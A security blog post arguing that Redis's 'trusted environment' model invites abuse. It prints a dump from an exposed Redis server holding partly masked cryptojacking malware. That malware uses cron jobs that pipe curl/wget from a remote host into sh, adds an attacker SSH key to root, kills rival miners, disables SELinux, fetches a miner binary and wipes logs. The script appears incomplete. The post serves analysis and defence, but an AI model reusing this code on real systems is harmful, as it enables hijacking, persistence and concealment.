Et tu Redis? Another spear in the ‘trusted environment’ ideal

It pains me to say this, but trust is over-rated. You see I grew up in an era of Internet trust. Where you could just expect people would not sniff your telnet password, that port-25 wouldn’t be abused to send spam.

I just wrote about etcd, and how its ideal deployment model (trust everyone who can talk to you) is letting people down. You see, that’s something that people just miss, and it gets out on the Internet.

In the last few weeks we have seen huge DDoS happening due to memcached being exposed. And now lets examine redis. It too suggests

Redis is designed to be accessed by trusted clients inside trusted environments.

and, as we can see below, well, it got out. According to the usual oracle, there are >20K of them accessible. But, would it be sufficient to slap a firewal up and call it a day? No I say.

Why do I say no? Well, I think the concept of ‘trusted environment’ is not binary enough for ‘Internet bad, all else good’. You see, redis, like etcd and memcached, will be used for all internal things to connect to. This means you are effectively allowing anything inside your firewall to have the universe. And that allows lateral traveral. You are now as strong as your weakest link. With the etcd, we saw that we can read+control the SDN, the firewall of the container infrastructure (Kubernetes, Calico, Flannel, Docker). With redis, people put all sorts of things in there. Lets examine this real-example. I use Shodan to find which hosts exposed redis, and I did a dump of one of them. What did we get? (note I mildly anonymised this).

We have, well, lots. We can see that he has a set of scripts that are fetched over the Internet and run as root. Nice.

We can also see which ssh keys we can use to access. What cron jobs are installed, and my, they also fetch scripts to run. We can see what firewall ports are open, and how. Glad to see selinux is disabled, who would want that nuisance?

Now, digging in under the hood, I think this might be malware. It seems to enable some crypto-miner, specifically monero, to this pool “stratum+tcp://“. I guess if we find ‘DAVE’ and see if he has DAVEKEY, we’ll know.

Anyone else see a problem with the below? Or worry a little bit more about ‘the cloud’ and its ‘security’?

Trusted environment. You need to slice that much more finely that ‘the universe’ and I think more finely than ‘inside/outside’. Protect the east from the west, not just the north from the south.

$ redis-dump -h XX.230.90.145
SET     c0 '*/2 * * * * curl -fsSL http://XX.73.251.157:81/ | sh'
SET     c1 '*/4 * * * * curl -fsSL http://XX.73.251.157:81/ | sh'
SET     w0 '*/3 * * * * wget -q -O- http://XX.73.251.157:81/ | sh'
SET     w1 '*/5 * * * * wget -q -O- http://XX.73.251.157:81/ | sh'

$ curl -fsSL http://XX.73.251.157:81/
DAVEKEY="ssh-rsa XXXXXXXXXXXXX+i/RgzNGgGxiqSnFSAzAuNe6QM9hsXEypzo1nvBonSchc2xc7woBVN1aGteRzFiopyvoeFkruwoTzMfEXIvyo99qhVZch+4iHkiD6fAe5fXE5Pb80UYCj8FPIxEbifzQx9siG6sZaZKolmIR7WjMKpyROFCtbPL2MLAr9gVrrU+w5uuirv5XKDcymyFpbRstE7gdhOcbh2OTGgaQmGWO7/l6Bg2nST63PG0+9f9cZLxGW+BgodCt+tuEMM8fymI5ogp03gx6Jj/RrN3EnFmRx9aLAH7 Jackal"

DK=$(grep "$DAVEKEY" /root/.ssh/authorized_keys | wc -l)
if [ "$DK" -eq 0 ];then
echo "$DAVEKEY" > /root/.ssh/authorized_keys
sleep 1
ps x | awk '!/awk/ && /redis-server/ {print $1}' | xargs kill -9 2>/dev/null
ps x | awk '!/awk/ && /linuxs|linuxl|crawler\.weibo/ {print $1}' | xargs kill -9 2>/dev/null
ps x | awk '!/awk/ && /243\/44444|cryptonight|stratum|gpg-daemon|jobs\.flu\.cc|nmap/ {print $1}' | xargs kill -9 2>/dev/null
ps x | awk '!/awk/ && /cranberry|start\.sh|watch\.sh|krun\.sh|killTop\.sh|cpuminer|\/60009|ssh_deny\.sh|clean\.sh/ {print $1}' | xargs kill -9 2>/dev/null
ps x | awk '!/awk/ && /\.\/over|mrx1/ {print $1}' | xargs kill -9 2>/dev/null
ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/null
ps x | awk '!/awk/ && /barad_agent|\.sr0|gpg-agentd|clay|udevs|kworkers|\.sshd|\/tmp\/init/ {print $1}' | xargs kill -9 2>/dev/null
sleep 1
CRON () {
  if [ -x /usr/bin/wget ] ; then
        echo '*/5 * * * * wget -q -O- http://XX.73.251.157:81/ | sh' > /tmp/.bla.cron
        echo 'wget -q -O- http://XX.73.251.157:81/ | sh' > /etc/rc.local
    elif [ -x /usr/bin/curl ] ; then
        echo '*/5 * * * * curl -fsSL http://XX.73.251.157:81/ | sh' > /tmp/.bla.cron
        echo 'curl -fsSL http://XX.73.251.157:81/ | sh' > /etc/rc.local
    crontab -r
    crontab /tmp/.bla.cron
    rm -f /tmp/.bla.cron
    echo 'exit 0' >> /etc/rc.local
FIRE () {
iptables -I INPUT 1 -p tcp --match multiport --dports 6370:7006 -j DROP 2>/dev/null
iptables -I INPUT 1 -p tcp --match multiport --dports 6370:7006 -s -j ACCEPT 2>/dev/null
sleep 1
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sleep 1
cat < /etc/security/limits.conf
*         hard    nofile      25000
*         soft    nofile      25000
root      hard    nofile      25000
root      soft    nofile      25000
PSCAN () {
if [ ! -x "/tmp/crondb" ];then
    chmod +x /tmp/crondb
PS0=$(ps aux | grep crondb | grep -v "grep" | wc -l)
if [ $PS0 -eq 1 ];then
elif [ $PS0 -eq 0 ];then
    /tmp/crondb -c /tmp/c.j -B
elif [ $PS0 -gt 1 ];then
    pkill -f crondb
    /tmp/crondb -c /tmp/c.j -B
if [ ! -f "/tmp/crondb" ];then
    if [ -x /usr/bin/wget ];then
        wget http://XX.73.251.157:81/crondb -O /tmp/crondb && chmod +x /tmp/crondb && wget http://XX.73.251.157:81/c.j -O /tmp/c.j
        #wget http://$HOST/crondb -O /tmp/crondb && chmod +x /tmp/crondb && wget http://$HOST/c.j -O /tmp/c.j
    elif [ -x /usr/bin/curl ];then
        #curl http://$HOST/crondb -o /tmp/crondb && chmod +x /tmp/crondb && curl http://$HOST/c.j -o /tmp/c.j
        curl http://XX.73.251.157:81/crondb -o /tmp/crondb && chmod +x /tmp/crondb && curl http://XX.73.251.157:81/c.j -o /tmp/c.j

echo 0 > /var/spool/mail/root
echo 0 > /var/log/wtmp
echo 0 > /var/log/secure
echo 0 > /root/.bash_history
exit 0





Leave a Reply

Your email address will not be published. Required fields are marked *